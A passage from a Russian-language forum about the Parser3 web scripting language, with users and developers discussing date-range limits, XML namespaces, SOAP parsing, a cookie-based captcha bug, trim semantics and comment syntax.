с этим действительно справится и не умеющий программировать, для этого не нужно знать ни один из классов или операторов\
парсера.\
\
[code]@header[title]\
... $title ...\
\
@footer[]\
...\
\
@html[]\
^header[my title]\
...\
^footer[]\
[/code]\
\
Куда уж проще? :)"
"81060","Ниже сравнивают фейсбук, но это уже сильно круто.\
Можно и не так круто брать, например что-то типа хабра."
"81062","Для Хабра не требуются те же программные решения, что и для facebook, там работает простой php на простых серверах.\
\
Речь как раз о том, что для большинства проектов parser/php - нормально, будь они хоть по 150-170к строк кода на исполнение (Битрикс тот же). Для нетиповых проектов уже будут нетиповые решения."
"81063","Все зависит от архитектуры, не знаю как там в битриксе, а вот с umi пришлось поковыряться.\
У них хорошая идея хранить все в нескольких таблицах, не зависимо от данных, будь то значения полей или чего-то другого.\
Есть таблица значений ( в зависимости от типа пишется в свое поле) и пару таблиц структуры. Так вот чтоб все это поехало, идет довольно таки много запросов. И все это не очень хорошо себя чувствует на слабом железе.\
Плюс баг архитектуры, что все корзины, даже не оформленные падают туда же, в итоге получаем таблицу с 300мб данными и еще хвостом индексов под 1гиг.\
Ну это я все к чему, что для высоко нагруженной системы даже интерпретация каждый раз кода уже плохо, для всяких php придумали для этого fast-cgi, а для парсера, таких моментов нет). Точней есть врапперы, которые все равно в итоге запускают интерпретатор каждый раз и он каждый раз анализирует код.\
Даже для пхп есть apc который хранит код в памяти, а не считывает и интерпретирует его каждый раз."
"81065","Каждый из нас вкладывает в это понятие свой набор условий. Под каждый набор условий — свой набор инструментов. \
\
Для моих задач Парсер вполне подходит. Там где надо делать какие-то околосистемные вещи, то беру Питон, awk, shell или Си++ (есть у нас демон, который рулит фаерволом в ядре :).\
\
Спор о технологиях смысла не имеет. Давайте использовать те инструменты, которые решают наши задачи."
"81066","[quote]Ну это я все к чему, что для высоко нагруженной системы даже интерпретация каждый раз кода уже плохо, для всяких php придумали для этого fast-cgi, а для парсера, таких моментов нет. [/quote]\
\
Гм. А модуль парсера для apache по вашему как работает? :) Ровно так и работает. Но у нас компиляция обычно занимает процентов 10 от времени выполнения, поэтому мы этим пренебрегаем (выгод от большего контроля у CGI больше). Вот если много коротких запросов, а кода много, тут бонус от модуля будет заметен."
"81067","[quote]Давайте использовать те инструменты, которые решают наши задачи.[/quote]\
\
вот ещё... давайте лучше разведём очередной holy war :)"
"81068","Собственно вопрос в топике.\
Хочу на стороне парсера чекать клиент обратился по HTTP или HTTPS\
например для каких-то передаваемых переменных или действий - логон я хочу\
проверять через https ли получено.\
\
Смотрю в Headers и ничего путнего не вижу.\
Полного URL с протоколом нет. Так как нет заголовка Origin\
\
И вот тут ничего путнего не нахожу: http://en.wikipedia.org/wiki/List_of_HTTP_header_fields\
\
\
P.S.: Доступ к конфигу Апача 2.x имеется. Видимо копать туда.\
Помню ведь делал как-то раньше..."
"81075","На практике, довольно редкая проверка."
"81076","Имеем правильный sitemap:\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\
	<url>\
		<loc>/news/2015/04/11/</loc>\
		<lastmod>2015-04-11</lastmod>\
		<changefreq>daily</changefreq>\
		<priority>0.8</priority>\
	</url>\
</urlset>[/code]\
Для того, чтобы работать с узлами дальше корня необходимо плясать с пространством имён:\
[code]$doc[^xdoc::create{$xml}]\
$doc.search-namespaces.s[http://www.sitemaps.org/schemas/sitemap/0.9]\
\
$urls[^doc.delect[/s:urlset/s:url]][/code]\
\
Вопрос: нет ли возможности определить пространство имён по умолчанию, дабы не использовать префиксы?\
A-la:\
[code]$doc.search-namespaces._default[http://www.sitemaps.org/schemas/sitemap/0.9]\
$urls[^doc.delect[/urlset/url]][/code]"
"81077","пустой namespace != default namespace.\
в документе может быть и то и другое. поэтому трактовать /name как поиск элемента в default namespace -- нельзя. это всё таки поиск элемента без namespace."
"81078","Используя возможность указать limit или offset в виде опций у ::sql, невозможно использовать FOR UPDATE, так как он должен идти последней инструкцией, после LIMIT, а получается, что LIMIT добавляется Парсером в конец запроса.\
\
Не стоит ли добавить опцию $.for-update(true/false), чтобы можно было совмещать с offset/limit?\
\
Не использовать их и самому добавлять LIMIT в запрос, конечно, элементарно.\
Но как-то неэлегантно получается."
"81079","Селекты — это сложная синтаксическая конструкция. Если надо сделать какие-то сложные выверты, то это лучше делать не в драйвере Парсера, а в классах. Тем более, что \"for update\" имеет смысл только в транзакциях, которые надо «делать руками». Если дать эту опцию в ::sql, то многие птицеводы будут думать, что этого достаточно для лока. :)"
"81080","воникла необходимость обрабатывать даты +30 лет к сейчас.\
выкрутился через использование cdate, но этож не выход :)"
"81083","Это раз в 50 больше срока существования Солнца."
"81084","[code] \
 $lDate[^date::create[2222-10-03]]\
 $lDate.year\
[/code]\
\
\
[quote]year '2222' is out of valid range\
create\
/var/www/.mod/rptDocs.p(15)\
lexception.type=date.range[/quote]\
\
\
[quote]\
root@sWeb:/www/parser/current# ./parser3.cgi\
Parser/3.4.3 (compiled on x86_64-unknown-linux-gnu)\
Copyright (c) 2001-2013 Art. Lebedev Studio (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
[/quote]\
\
\
[quote]\
root@sWeb:/www/parser/current# uname -a\
Linux sWeb 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u1 x86_64 GNU/Linux\
[/quote]"
"81085","См строку 75 в файле src/classes/date.C. Поставьте любую границу, которая вас устроит. У меня собралось и даты в 2222 году принимает и сдвиги на тысячу лет работают. Будет здорово, если вы сделаете тесты как это работает со сдвигами, сложениями дат и пр.\
\
Другое дело, что надо сделать корректный патч для определения верхней границы даты на 64-битных системах. Тут надо подождать Мишу или Моко — я, например, не знаю как это делается на win."
"81086","[code]Index: date.C\
===================================================================\
RCS file: /parser3project/parser3/src/classes/date.C,v\
retrieving revision 1.92\
diff -u -r1.92 date.C\
--- date.C	2 Oct 2013 20:57:28 -0000	1.92\
+++ date.C	18 Apr 2015 19:32:52 -0000\
@@ -72,7 +72,7 @@\
\
 /// shrinked range: 1970/1/1 to 2038/1/1\
 static int to_year(int iyear) {\
-	if(iyear<1970 || iyear>2038)\
+	if(iyear<1970 || (sizeof(time_t) == 4 && iyear>2038))\
 		throw Exception(DATE_RANGE_EXCEPTION_TYPE,\
 			0,\
 			\"year '%d' is out of valid range\", iyear);[/code]"
"81087","Не планируется ли поддержка именованных групп?\
\
[code]$s[123]\
$table[^s.match[(?<digits>\\d+)]]\
$table.digits -> 123[/code]\
\
Было бы очень полезно для сложных выражений.\
PCRE, насколько я знаю, позволяет."
"81088","тут есть нюанс...\
в общем случае в результате может быть несколько одноимённых именованных групп. pcre позволяет такое (эта возможность задаётся у pcre на этапе компиляции регулярного выражения). и у него есть механизмы извлечь список _номеров_ групп для таких имён (в конечном счёте доставание результата идёт по номеру, а не по имени).\
\
но вот у нас результат match -- table (я имею в виду внутренний результат, который попадает в результирующую таблицу при обычном поиске или который доступен в $match при замене). и у нас нет механизмов хранить в таблице несколько столбцов с одним именем (ну, создать таблицу с одноимёнными столбцами дело не хитрое, но вот достать их потом поотдельности невозможно). \
\
поэтому мы не можем реализовать подобное в общем виде напрямую :(\
\
это возможно сделать, если запретить дублирование имен у групп.\
в общем виде можно для имени возвращать строку с сериализованными значениями столбцов. но это ни фига не упростит код, т.к. хочется $table.digits или $match.digits, а придется делать например:\
[code]\
$t[^deserialize[$table.digits]]\
^t.menu{$table.[$t.0]}\
[/code]\
, что отстой.\
\
если у нас появится возможность хранить в table не только строки, то тогда это можно будет реализовать."
"81089","И еще хотелка, возможность изменять table налету, а не создавать новый. Уже не помню зачем, но когда-то надо было."
"81090","Даже сходу не представлю зачем дубли могут понадобиться.\
Разве что, если совпасть может одна из нескольких групп, а содержимое нужно получить строго в одном имени.\
\
Возвращать хэш — слишком несовместимо, да и избыточно ради подобного.\
Дописывать постфиксы (digit-2, digit-3, …) неэлегантно."
"81092","[quote]In PCRE, Perl and Ruby, the two groups still get numbered from left to right: the leftmost is Group 1, the rightmost is Group 2.\
\
In .NET, there is only one group number—Group 1. This is one of the two exceptions to capture groups' left-to-right numbering, the other being branch reset. If the group matches in several places, all captures get added to the capture collection for Group 1 (or named group token).[/quote]\
\
Ну, в Perl и Ruby к повторяющимся группам добавляются номера.\
.NET, как понимаю, вернёт коллекцию для имени, а не одно совпадение, но Парсеру с таблицей не подойдёт."
"81093","Всем привет.\
Пробую реализовать работу SOAP, но не все понятно.\
\
Разбираю WSDL, формирую структуру в виде хеша.\
Далее формирую XML, отправляю серверу 1С и получаю ответ.\
\
Первые вопросы:\
1. Как на основании названия метода (операции) правильно определить NS?\
В одном WSDL идет указание soapAction, а в другом - нет.\
Я иду таким путем: перебираю porttype и проверяю, есть ли в них нужная операция, после чего беру NS (tns:Function) и через NS в definitions получаю nsX.\
\
2. Встречал ли кто-нибудь тестовые сервера, где можно \"обкатать\" работу с SOAP?\
Нужно учесть различные варианты с префиксами, NS и т.д.\
Для локального проекта можно сделать упрощенную модель, но хочется сделать универсально.\
\
3. Как через xdoc загрузить xml-ответ?\
[code]	$sHTML[<?xml version=\"1.0\" encoding=\"UTF-8\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\
		<soap:Header/>\
		<soap:Body>\
			<m:FunctionResponse xmlns:m=\"www\">\
				<m:return xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\
					<abc xmlns=\"my_ns\">temp</abc>\
				</m:return>\
			</m:FunctionResponse>\
		</soap:Body>\
	</soap:Envelope>]\
	$sHTML[^sHTML.replace[<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">;<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:my_ns=\"http://schemas.xmlsoap.org/soap/envelope/\"]]\
	$xdData[^xdoc::create{$sHTML}][/code]\
Возникает ошибка:\
[code]Entity: line 2: parser error : error parsing attribute name\
		<soap:Header/>[/code]"
"81094","[quote]3. Как через xdoc загрузить xml-ответ?[/quote]\
\
Неясно зачем вы делаете замену.\
[code]$xml[^xdoc::load[$URL]][/code]\
\
Ответ должен быть well-formed XML, и загрузится без проблем."
"81095","Я отправляю запрос и получаю ответ в виде XML, но без строки с кодировкой, поэтому приходится ее подставлять и создавать xdoc из текста.\
Пример возвращаемого ответа я привел в первом сообщении.\
\
Если не делать замену, то получаю ошибку:\
[code]namespace warning : xmlns: URI my_ns is not absolute\
					<abc xmlns=\"my_ns\">temp</abc>[/code]\
Замена сделана для теста, чтобы xdoc вообще создался."
"81096","[quote]Если не делать замену, то получаю ошибк[/quote]\
\
А откуда xmlns=\"my_ns\" в документе, это сервис так отвечает?"
"81097","Да.\
В WSDL описаны 3 схемы с типами, каждый из который объявлен в NS.\
Сервис (1С) отвечает, к какому типу относятся данные.\
\
Если написать:\
[code]<soap:abc xmlns=\"soap:my_ns\">temp</soap:abc>[/code]\
то xdoc создается.\
Проблема только в том, что элементов много, а менять в каждом NS - не вариант."
"81098","Вам парсер говорит, что [i]URI my_ns is not absolute[/i].\
\
Если этот тип задаёте вы и сервис его возвращает — задайте корректный: <abc xmlns=\"[b]http://example.com/[/b]\">temp</abc>."
"81099","Я получаю ответ, где для кучи элементов уже прописаны свои NS.\
Далее нужно сопоставить полученный результат со структурой WSDL и выдать все в виде хеша.\
\
Только мне надо загрузить ответ в xdoc, чтобы пробежаться по узлам.\
Предлагаете при получении ответа делать в нем кучу замен и подсовывать в xdoc?"
"81100","[quote]Предлагаете при получении ответа делать в нем кучу замен и подсовывать в xdoc?[/quote]\
\
Нет.\
Для начала, XML должен быть well-formed.\
Сейчас он ошибочен, и делать в нём замены — припарки мёртвому.\
\
Необходимо добиться возврата сервисом корректного документа, а затем уже с ним работать."
"81101","Сейчас с сервисом идет работа через PHP, который используется в качестве прослойки.\
При этом PHP принимает ответ и не ломается, а парсер ломается.\
\
Сервис реализован в 1С.\
Как я понимаю, ответ там формируется не вручную, поэтому он не поменяется.\
\
Должно быть решение для парсера, чтобы не ломался на подобном XML.\
Возможно, надо где-то дописать NS, чтобы заработало."
"81102","[quote] The specification is not entirely prescriptive about the precise rules for namespace names (it does not explicitly say that parsers must reject documents where the namespace name is not a valid Uniform Resource Identifier), and many XML parsers allow any character string to be used. In version 1.1 of the recommendation, the namespace name becomes an Internationalized Resource Identifier, which licenses the use of non-ASCII characters that in practice were already accepted by nearly all XML software. The term namespace URI persists, however, not only in popular usage, but also in many other specifications from W3C and elsewhere.[/quote]\
\
LibXML требуется соответствия namespace валидному [url=\"http://en.wikipedia.org/wiki/Internationalized_Resource_Identifier\"]URI[/url].\
Достаточно корректно указать пространство имён, и документ загрузится.\
\
Что там внутри у 1C и PHP — я не знаю, вероятно, обработка данного документа идёт как текста, а не как XML-документа.\
Либо используются иные парсеры, которые иначе смотрят на спецификацию пространств имён."
"81103","[code]@main[]\
$xdoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<root/>}]\
\
$namespaces[^xdoc.select[//namespace::*]]\
^namespaces.foreach[;node]{\
	$node.nodeType\
}[<br/>][/code]\
\
[code]Unhandled exception 0xC0000005 at 0x013D5E8F[/code]\
\
Полагаю там список атрибутов, но вот даже тип узла узнать не удаётся.\
Быть может, там не атрибуты, а именно NamespaceNode, тогда неясно как к ним правильно обратиться. Пробовал name и value — эта же ошибка."
"81104","да, там namespace node. ну и баг, который приводит к core :)"
"81105","каталог test:\
\
index.html:\
    [code]@main[][/code]\
\
auto.p:\
[code]@auto[]\
$s[test^#0A]\
^s.save[append;test.txt]\
[/code]\
\
test.bat:\
[code]cd {путь до каталога test}\\test\\\
{путь до парсера}\\parser3.exe [b].\\index.html[/b][/code]\
\
результат выполнения в файле test.txt:\
test\
test\
\
то есть @auto[] выполняется два раза, если в вызове написать [b].\\.\\index.html[/b] - то три и так далее.\
\
Это баг или всё нормально и объяснимо?\
\
P.S. обнаружилось это случайно, каталог со скриптом начинался с дефиса (-),  и если такой путь передать парсеру - то он воспринимает его как параметр, поэтому дописали слева .\\"
"81106","парсер не делает нормализацию путей.\
т.е. для него /dir/file и /dir/./file -- два разных пути.\
отсюда некоторые неудобства:\
- при ^use[] таких файлов происходит повторное их подключение\
- при выполнении всех вышележащих auto.p некоторые из них могут выполнится дважды (хотя парсер честно каждый раз откусывает по одному кусочку)\
\
P.S. внутренняя нормализация путей у нас давно есть в todo."
"81107","Набросал тестовый класс, проверил на паре WSDL - работает (включая обмен с 1С).\
Вариант черновой, неоптимизированный и т.д.\
\
Как лучше проверить работоспособность и правильность кода?\
Может, кто знает тестовые сервера, где можно обкатать класс?"
"81108","Если указаны оба атрибута, то по какому из них смотреть структуру?"
"81109","Подскажите пожалуйста, как вывести скажем 5 первых или 5 последних строк из файла cfg?"
"81110","Ну если получится прочитать в таблицу)\
\
^таблица.offset($таблица-1)\
последняя запись $таблица.record\
^таблица.offset(-1)\
предпоследняя  $таблица.record \
Тоже самое с начала, обычно указатель и так стоит на первой записи\
^таблица.offset(0)\
^таблица.offset(+1)\
^таблица.offset(+1)\
Это если надо получить значения, можно сделать\
$таблица2[^table::create[$таблица;$.limit(5)$.reverse(true/false)] так можно получить вторую таблицу с 5 записями с начала или конца."
"81111","Здравствуйте, подскажите как правильно использовать JS и парсер? \
\
А файле авто.р пишу \
\
   [code] <script type=\"text/javascript\">\
        $(document).ready(function() {\
            $(\"a[rel=example_group]\").fancybox({\
                'transitionIn'		: 'none',\
                'transitionOut'		: 'none',\
                'titlePosition' 	: 'over',\
\
            });\
        });\
    </script>[/code]\
\
Но выдает ошибку...\
\
JS в парсере используется как-то по особенному?"
"81112","Если правильно понял, что хочется сделать, то вам надо экранировать символ $, то есть в обоих случаях использовать ^$."
"81113","Большое спасибо, помогло!"
"81117","Получилось сделать клиентскую часть: отправляю запрос и получаю ответ (на выходе в виде хеша).\
\
Теперь дело за серверной частью.\
Как я понимаю, сервер получает то, что я сам отправляю из клиентской части.\
\
В случае клиента мне известен метод, по которому я формирую запрос и обрабатываю ответ, но в случае сервера метод узнать нельзя, только ответ, а он может быть в виде структуры из блоков element, type или списка полей.\
\
Также есть случаи, когда получаемая структура не описана в WSDL (Array).\
Если отправили запрос клиентом, то по названию метода берем структуру ответа.\
Если сервер получил запрос, то по неизвестной структуре вообще ничего не найти.\
\
Каким образом на стороне сервера можно безошибочно определить, какая структура пришла?"
"81118","Предлагаю считать тип both указанным по умолчанию, что позволит писать логичное:\
[code]^string.trim[…][/code]\
вместо постоянного указания\
[code]^string.trim[both;…][/code]\
\
Получится единообразно со ^string.trim[], который отсекает пробельные символы с обеих сторон."
"81121","Пишу простенькую капчу. Давайте не обсуждать, почему с использованием куков, а не переменных :-). Просто закопался, дошел до такого решения.\
\
Пользователю предлагается заняться простой арифметикой: вычесть случайное однозначное из случайного двузначного. Или, тоже случайно, сложить их.\
\
Генерятся эти две переменные. Они же становятся куками cx и cy.\
\
Иф деф форм сабмит хочу получить сначала [i]целевой[/i] результат арифметики, чтобы сравнивать его с введённым. Опять же, не спрашивайте, почему при сабмите, а не при генерации :-).\
\
[code]$cookieres(^if($co eq 0){$cookie:cx + $cookie:cy}{$cookie:cx - $cookie:cy})[/code]\
\
Анхендлд при отправке формы. В логе: [b].../auto.p(32:27): '21 + 5' invalid number (double) [number.format] [uri=/discuss/, method=POST, cl=76][/b]\
\
Меняю архитектуру строки, добавляю eval:\
\
[code]$cookieres(^eval(^if($co eq 0){$cookie:cx + $cookie:cy}{$cookie:cx - $cookie:cy}))[/code]\
\
Результат тот же, инвейлид намба 20-7.\
\
Как, блин, посчитать в переменную два кука, представляющие собой числа?"
"81123","$c(3+5) - эвал не нужен\
\
$b(5)\
$c(3+$b) - эвал не нужен\
\
$a(3)\
$b(5)\
$c($a + $b) - эвалне нужен\
\
А с чего начинается потребность?"
"81124","Проблема не в эвале, а в ифе. Круглые скобки ожидают число (строку с числом) или выражение, но не строку с выражением. Иф обрабатывает код, который ему предали, и возвращает строку с результатом. Получается, что вы пытаетесь в круглые скобки передать строку с выражением, а не само выражение. На это Прасер и ругается. Ругается очень точно и не понятно почему вы его не послушали. :)\
\
Можно написать без эвалов:\
\
[code]^if($co eq 0){\
  $cookieres($cookie:cx + $cookie:cy)\
}{\
   $cookieres($cookie:cx - $cookie:cy)\
 }[/code]"
"81125","у кого-то может быть написано ^s.trim[left] и этот кто-то ожидает, что слева будет удалён пробельный символ. если мы поменяем текущее поведение -- этот код работать перестанет.\
\
P.S. с другой стороны можно сделать так, чтобы при вызове с одним параметром, и этот параметр не both,left,right,start,end, то вместо текущего exception делалось бы ^trim[both;этот параметр]. так конечно тоже возможно выползание несовместимости, но вероятность этого, как мне кажется, гораздо меньше."
"81126","по моему тут вообще eval можно выкинуть, заменив скобки у if с фигурных на круглые:\
[code]\
$cookieres(^if($co eq 0)($cookie:cx + $cookie:cy)($cookie:cx - $cookie:cy))\
[/code]\
\
но... без .int(0) или try я это всё равно не стал-бы писать."
"81127","Вот почищенные для наглядности куски кода из auto.p.\
\
[b]Вчитываться не надо,[/b] можно просто по диагонали просмотреть, по комментам, - вопрос о логике, а не о выискивании синтаксических описок.\
\
Это форма отправки вопроса пользователя в базу данных (=на сайт) и сразу мне на почту. Она отлично работала, пока жизнь не заставила наскоряк придумывать и внедрять вот эту капчу:\
\
[code]@capture[]\
# генерим два числа: небольшое двузначное и однозначное.\
$cx(^math:random(20))\
$cx($cx + 10)\
$cy(^math:random(9))\
$cy($cy+1)\
# бросаем монету\
$co(^math:random(2))\
# и по результату предлагаем либо сложить два числа, либо вычесть маленькое из большого.\
^if($co eq 0){Пожалуйста, введите <b>результат сложения $cx и $cy}{Пожалуйста, <b>вычтите $cy из $cx}^:</b>[/code]\
# считаем должный результат для себя.\
^if($co eq 0){$cr($cx+$cy)}{$cr($cx-$cy)}\
\
Сама форма (всего-то текстовое поле, новый вызов капчи и сабмит):\
\
[code]@mainarea[]\
<form method=\"post\">\
<textarea name=\"question\">^if(def $cookie:ctext){$cookie:ctext}</textarea>\
<p>^capture[] <input type=\"text\" size=\"2\" name=\"cres\">.</p>\
<input name=\"go\" type=\"submit\" value=\"Спросить\">\
</form>[/code]\
\
\
Далее работаем:\
\
[code]\
#если написано и нажато\
^if(def $form:question && def $form:go){\
# если введенный результат капчи соответствует нужному\
	^if($form:cres eq $cr){\
# то отправляем в базу и пишем в почту\
		^connect[mysql://login:pass@db.provider.ru/mydb?charset=cp1251]{\
			^void:sql{\
				INSERT INTO \
				`counter`.`questionaire` (\
				`no` ,\
				`date` ,\
				`question` ,\
				`answer`\
				)\
				VALUES (\
				NULL , NULL ,  '$form:question', NULL)^;\
		}}\
		^mail:send[ \
		$.from[Сайт <site@mydomain.ru>] \
		$.to[Вася <mail@mydomain.ru>] \
		$.subject[Новый вопрос на сайте] \
		$.text[$form:question] \
		]\
# ну и стираем кук с вопросом, подставляемым в форму\
		$cookie:ctext[]\
# обновляем страницу.\
		$response:location[http://mydomain.ru/discuss/]\
# если же введён ложный результат\
	}{\
# сохраняем пользовательский текст для него же (после релоуда подставить в текстарею)\
		$cookie:ctext[$form:question]\
# и пишем мне, чё там произошло. Что надо было сложить-вычесть, что получить и что вместо этого было вбито.\
		^mail:send[ \
		$.from[Сайт <site@mydomain.ru>] \
		$.to[Вася <mail@mydomain.ru>] \
		$.subject[Не заданный вопрос на сайте] \
		$.text[Предлагалось ^if($co eq 0){сложить $cx и $cy, введен результат $form:cres вместо $cr}{вычесть $cy из $cx, введен результат $form:cres вместо $cr}^; $form:question] \
		] \
# перезагружаем страницу\
		$response:location[http://mydomain.ru/discuss/]\
	}\
}[/code]\
\
\
[b]В результате.[/b]\
\
В результате вопрос не добавляется в базу ни в каком случае, а я получаю в почту письмо о том, что предлагалось... провести не ту операцию, что реально отображалась! А [b]почему-то некую сгенерированную заново![/b] А пользователь ввёл тот результат, что я действительно ввёл, но этот результат не соответствует результату НОВОЙ операции, предложенной в письме!\
\
Блин, когда и как задача [i]между отображением и сабмитом[/i] генерится ещё раз, повторно?! :-(\
\
Я попробовал вынести к чёрту переменные, сразу после генерации перенося их в куки, и везде - в своей арифметике и в отображении - используя их же. Ни фига. Результат тот же: отображается одно, а проверяется другое, новое, заново сляпанное.\
\
Чё за?!"
"81130","... и два независимых вызова Парсера. Почему вы думаете, что Парсер, каким-то магическим образом, сохранит значение $cr между вызовами? :)))"
"81131","[code]#если нужны 5 первых строк\
$countprinted(0)\
^таблица.menu{\
^if($countprinted <= 5){выводим ячейки как хотим $countprinted($countprinted + 1)}\
}\
\
#если нужны 5 последних строк, сначала считаем их все,\
$countrows(0)\
^таблица.menu{$countrows($countrows + 1)}\
# потом вычисляем [i]номер[/i] первой нужной нам\
$firstoflast($countrows-5 +1)\
# и погнали по строкам, считая их. Сначала будет первая, не нулевая.\
$countagain(1)\
# если текущая строка младше последних пяти, то просто переходим ко второй\
^таблица.menu{^if($countagain < $firstoflast){$countagain($countagain + 1)\
# иначе делаем что мы там хотели, и дальше можно не считать\
}{выводим ячейки как хотим}}[/code]\
\
Предыдущий ответчик однозначно квалифицированнее меня. Я просто люблю строить сложные дома из простых кирпичей."
"81132","Событие-то одно!\
\
Есть отдельный @capture[], где собрана вся генерация и вся арифметика. И обращение к нему осуществляется, насколько я вижу, [b]только один раз:[/b] при рисовании формы. Тогда генерятся переменные, задача и верное решение.\
\
Потом, при иф сабмит, [b]только введённый результат[/b] сравнивается с переменными, а повторного обращения [i]к методу[/i] [b]нет![/b]\
\
Каким образом происходит работа @capture[] [b]во второй раз,[/b] если его не спрашивают?! Он своё отработал, переменные установлены, далее они просто используются. Могу использовать при рисовании формы $cx и $cy, могу слепить из них $hzwhat, могу сравнивать с $abcde, и... должен мочь включать в иф, слать по почте...\
\
В какой момент генерация переменных, прописанная в методе, происходит заново [b]без его вызова?[/b]"
"81133","вы [url=/examples/antispam/]это[/url] видели?"
"81134","Вот что происходит\
— Первый вызов вашей программы происходит, когда от браузера приходит get-запрос (пользователь запрашивает страницу с формой). Вы отдаете браузеру код формы и он ее показывает пользователю. Программа отработала, соединение закрыто.\
— Пользователь заполняет форму и посылает ее на сервер методом post. Новое соединение, новый вызов вашей программы. В этом случае снова отрабатывает метод capture, но уже срабатывает if, который получает совершенно другое значение $cr.\
\
Иными словами, после отрисовки формы Парсер не собирается ждать, когда пользователь что-то сделает. :)))"
"81137","[quote]у кого-то может быть написано ^s.trim[left] и этот кто-то ожидает, что слева будет удалён пробельный символ. если мы поменяем текущее поведение -- этот код работать перестанет.[/quote]\
\
Не перестанет.\
Речь строго о вызове с единственным параметром, не равном типу обрезки."
"81138","А вдруг переданная строка случайно совпадет с типом обрезки? Я бы не сказал, что both,left,right,start,end сильно уникальные строки..."
"81139","Так trim же не строки обрезает, а символы строк.\
Значит должен быть случай, когда захотят обрезать именно символы «l», «e», «f», «t» и только их.\
Вероятность есть, но как мне кажется, крайне низкая.\
\
Я-то себе давно сделал trim, который работает как мне нравится, в данном случае вижу лишь нелогичность."
"81140","Данный код вызвает синтаксическую ошибку Parser:\
\
\
[code]\
$MyHash[\
   $.1[Test]   ^rem{ mycomment about $.1  }\
]\
\
# без $.1 внутри ^rem - все нормально\
[/code]\
\
P.S.: PARSER_VERSION = 3.4.3 (compiled on i686-pc-linux-gnu)\
вспотел пока нашел почему:\
syntax error, unexpected EON, expecting '[' or '{' or '('"
"81141","... Поскольку он проходит через лексический анализатор. И происходит это до вызова функции rem. Текстовые комментарии лучше писать на отдельных строках и использовать строчные комментарии."
"81142","Я только \"за\" писать в отдельной строчке используя #\
но иногда есть длинный хеш где нужно приписать коменты к каждому\
параметру и делать \"через-строчицу\" с каментами очень нечитабельно и страшно\
\
жаль-жаль... надо пойти убить ^rem везде раз внутри него происходит разбор\
текста\
\
блин вот же страшное мясо получилось вместо красивых каментов...\
неужели нельзя никакую спец-последовательность ввести для каментов до конца\
строки (т.е. не внутри скобок, а до конца строки)\
\
может #// ?"
"81143","Ну, выкидывание # тоже в каком-то смысле разбор текста, так что я бы не стал на этом зацикливаться. В любом случае, сейчас уже сильно лучше, чем было до 3.4.0, когда ^rem исполнялся :)\
\
http://www.parser.ru/news/\
\
\"Оператор ^rem{...} теперь может иметь произвольное число «параметров», и он исключается из кода на этапе компиляции. Это несовместимое с предыдущей версией изменение: если кто-то создавал свой метод/оператор с таким именем, то его необходимо переименовать, т.к. вызываться он не будет.\""
"81146","Я предложил выше последовательность 3-х символов:\
\
  #//\
\
от которых все до конца строки должно считаться комментарием с любым набором символов.\
\
3 символа примерно в 128 раз понижают вероятность того, что вам понадобится такая последовательность, против двух-символьной, и примерно в 16 384 раз против 1-символьной (это в чистом виде, без учета реальной надобности)\
\
\
Аргументы:\
1. Это синтаксически наглядно, т.к. начинается тоже с # (плюс // - тоже являются каментами в нескольких языках кажется )\
\
[code]\
# Comment\
# description\
\
$MyHash[\
   $.arg1[Value]     #// $.arg1 may change to $.1\
   $.atg2[Value]     #// $.arg2 and is blah-blah\
]\
[/code]\
\
2. ^#XX - код символа используется через птичка + решетка, таким образом\
для получения реальной последовательности надо как и сказано в документации Парсера - экранировать строковый литерал, то есть написать:\
^#// и тогда получить #// уже на вывод, а не как камент\
\
Из раздела Строковые литералы:\
[quote]\
В коде Parser могут использоваться любые буквы, включая русские. \
Следующие символы являются служебными: \
\
^   $   ;   @ \
(   ) \
[   ] \
{   } \
\"   :   #    \
\
Чтобы [b]отменить[/b] специальное действие этих символов, их необходимо предварять символом ^. Например, для получения в тексте символа $ нужно записать ^$. \
[/quote]\
\
NB: Что кстати странно для ^#XX т.к. по идее ^# - судя по инструкции выше - как раз отменяет \"специальное действие\" и превращает просто в символ #,\
и ^#20 - должен просто показать на экране #20 а не пробел."
"81149","Кстати при инициализации хеша строковые литералы выкидываются, так что такая конструкция вполне себе валидна. :)\
[code]$hash[\
     $.1[1] // comment about 1\
     $.2[2] // comment about 2\
][/code]"
"81151","насколько я понимаю, изначальная постановка задачи [url=\"/forum/?id=81142\"]такая[/url]:\
[quote]иногда есть длинный хеш где нужно приписать коменты к каждому\
параметру и делать \"через-строчицу\" с каментами очень нечитабельно[/quote]\
\
я своим сообщением пытался донести, что задача легко решается небольшим изменением текста комментария. сделать комментарий синтаксически валидным несложно. согласен, что это не очень удобно, т.к. об этом надо помнить."
"81152","Буду помнить теперь, буду теперь только plaintext там писать по-возможности"
"81153","[code]\
@main[]\
\
^get_hash[A.1]    ^rem{# ответ пустой }\
\
\
@get_hash[_key]\
$MyHash[\
   $.A[\
      $.1[A1]\
   ]\
]\
\
$result[$MyHash.$_key]\
# $MyHash.[$_key] - тоже самое, только process-ом только хардкор\
\
[/code]"
"81154","Чтобы этот код работал, хеш надо инициализировать так:\
\
[code]$MyHash[\
   $.[A.1][A1]\
]\
[/code]\
\
:)"
"81155","Ибо foreach для такого $.А не светит"
"81156","> Это не вложенный ключ, а точка в имени ключа?\
\
Да. Если же имеется вложенный хеш и число уровней известно, то логичнее так: ^get_hash[A;1]\
\
[code]@get_hash[l1;l2]\
$result[$MyHash.$l1.$l2]\
[/code]\
\
Правда не совсем понимаю смысл такого метода, напрямую обратиться в хеш нагляднее."
"81157","я хотел спрятать некий структурный хеш с данными под метод или свойство, чтобы иметь возможность давать что-то на запись в ключи, а что-то readonly,\
\
а где-то выполнять пост/пре процедуры, т.е. сделать контроллируемую процедуру работы, а ветки этого хеша имеют разные ключи/глубину. \
\
да даже просто, чтобы нельзя было перетирать хеш, а только читать\
\
свойствами я это сделать не могу - потому, что происходит тоже самое, только еще хуже, т.к. на GET_InterData[] - вообще нет входящего параметра\
\
